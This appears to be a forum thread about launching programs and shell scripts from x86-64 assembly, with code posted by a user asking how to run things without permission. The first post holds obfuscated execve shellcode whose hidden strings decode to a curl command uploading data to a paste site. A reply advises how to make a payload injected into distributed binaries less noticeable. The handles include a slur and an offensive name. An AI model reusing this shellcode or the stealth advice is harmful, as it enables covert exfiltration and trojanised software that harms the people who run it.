User Controls

Invoking Scripts and Binaries from an Asm program.

  1. #1
    Sophie Pedophile Tech Support
    So i was looking into ways to execute things on *Nix boxes without necessarily having the appropriate permissions to do so. I know about `execve` and i can leverage it to do something like this:


    global _start
    section .text

    _start:
    push 59
    pop rax
    cdq
    push rdx
    mov rbx, 0x6c7275632f6e6962
    push rbx
    mov rbx, 0x2f7273752f2f2f2f
    push rbx
    push rsp
    pop rdi
    push rdx
    mov rbx, 0xffffffffffffb9d2
    not rbx
    push rbx
    push rsp
    pop r8
    push rdx
    mov rbx, 0xffffffffffff938d
    not rbx
    push rbx
    mov rbx, 0x8ac28b9e928d9099
    not rbx
    push rbx
    push rsp
    pop r9
    push rdx
    mov rbx, 0xffffffffffffb9d2
    not rbx
    push rbx
    push rsp
    pop r10
    push rdx
    mov rbx, 0xffffffffd8d2c3c2
    not rbx
    push rbx
    mov rbx, 0x8b919a8b91909cd8
    not rbx
    push rbx
    push rsp
    pop r11
    push rdx
    mov rbx, 0xffd0968f9ed0988d
    not rbx
    push rbx
    mov rbx, 0x90d19a8b8c9e8f9b
    not rbx
    push rbx
    mov rbx, 0xd0d0c58c8f8b8b97
    not rbx
    push rbx
    push rsp
    pop r12
    push rdx
    push rsp
    pop rdx
    push r12
    push r11
    push r10
    push r9
    push r8
    push rdi
    push rsp
    pop rsi
    syscall







    And that's fine. But `execve` is a one off. At least as far as i understand it. And at least as far as it is used in my example above.

    So i started reading, and i read you could start a shell script with environment variables from your Asm program which was pretty cool. Something like this.


    bits 64

    [list -]
    %include "unistd.inc"
    [list +]

    section .data
    filename: db "test.sh",0
    .len: equ $-filename
    ;... put more arguments here
    envp1: db "TESTVAR=123456",0
    ;... put more environment paraters here
    argvPtr: dq filename
    ; more pointers to arguments here
    dq 0 ; terminate the list of pointers with 0
    envPtr: dq envp1
    dq 0
    forkerror: db "fork error",10
    .len: equ $-forkerror
    execveerror: db "execve error(not expected)",10
    .len: equ $-execveerror
    wait4error: db "wait4 error",10
    .len: equ $-wait4error

    section .text

    global _start
    _start:

    syscall fork
    and rax,rax
    jns .continue
    syscall write,stderr,forkerror,forkerror.len
    jmp .exit
    .continue:
    jz .runchild
    ; wait for child to terminate
    syscall wait4, 0, 0, 0, 0
    jns .exit
    syscall write,stderr,wait4error,wait4error.len
    jmp .exit

    .runchild:
    syscall execve,filename,argvPtr,envPtr
    jns .exit
    syscall write,stderr,execveerror,execveerror.len
    .exit:
    syscall exit,0



    But then i came across an example that kind of blew my mind. I'll post it below in spoiler tags because it's long. But basically they're starting a terminal and from the program are having the commands they define be executed in that terminal. So does that mean i can basically just write a shell script within an Asm program, invoke a terminal and execute whatever i want?



    Thoughts?
  2. #2
    STER0S Space Nigga [the disappointingly unanticipated slab]
    what do these numbers and letters mean:

    0x6c7275632f6e6962
  3. #3
    Sophie Pedophile Tech Support
    Originally posted by STER0S what do these numbers and letters mean:

    0x6c7275632f6e6962

    It's complicated but you can think of it as coordinates to a place. Except being the location of a pizza hut it might indicate a memory address or what have you.
    The following users say it would be alright if the author of this post didn't die in a fire!
  4. #4
    Lanny Bird of Courage
    Originally posted by Sophie And that's fine. But `execve` is a one off. At least as far as i understand it. And at least as far as it is used in my example above.

    How do you mean one off? execev's actual action is the replace the current process image (stack, data, code segments etc) with another binary and start execution. So it replaces the currently running process and in that way it's kinda one-off (you can't return to the calling process), although the fork/exec pattern in the second and third codeblocks are the basic pattern for spawning a child process and waiting for it to finish (so the child process starts life as a clone of the parent (this is fork's behavior) then quickly execves to run another program, while the parent does something else (usually waits for the child to terminate)) so this way you can spawn multiple children in sequence or in parallel and the parent process continues to be in live.

    The only real difference between the second and last programs is that the last one spawns an xterm process and uses its message passing protocol to arrange for running a script. You could do the same thing by forking and execve-ing `sh` or `bash` directly without bringing a terminal emulator (xterm) into it. And if the context here is that your assembly program is going to be injected into another binary for distribution and you want to invoke a shell because you don't want to write assembly for the full payload, you're probably better off doing that since `xterm` is probably going to spawn a window and I think most people would be pretty suspicious if an xterm window pops ups and runs some stuff when they open their calculator app or whatever.
Jump to Top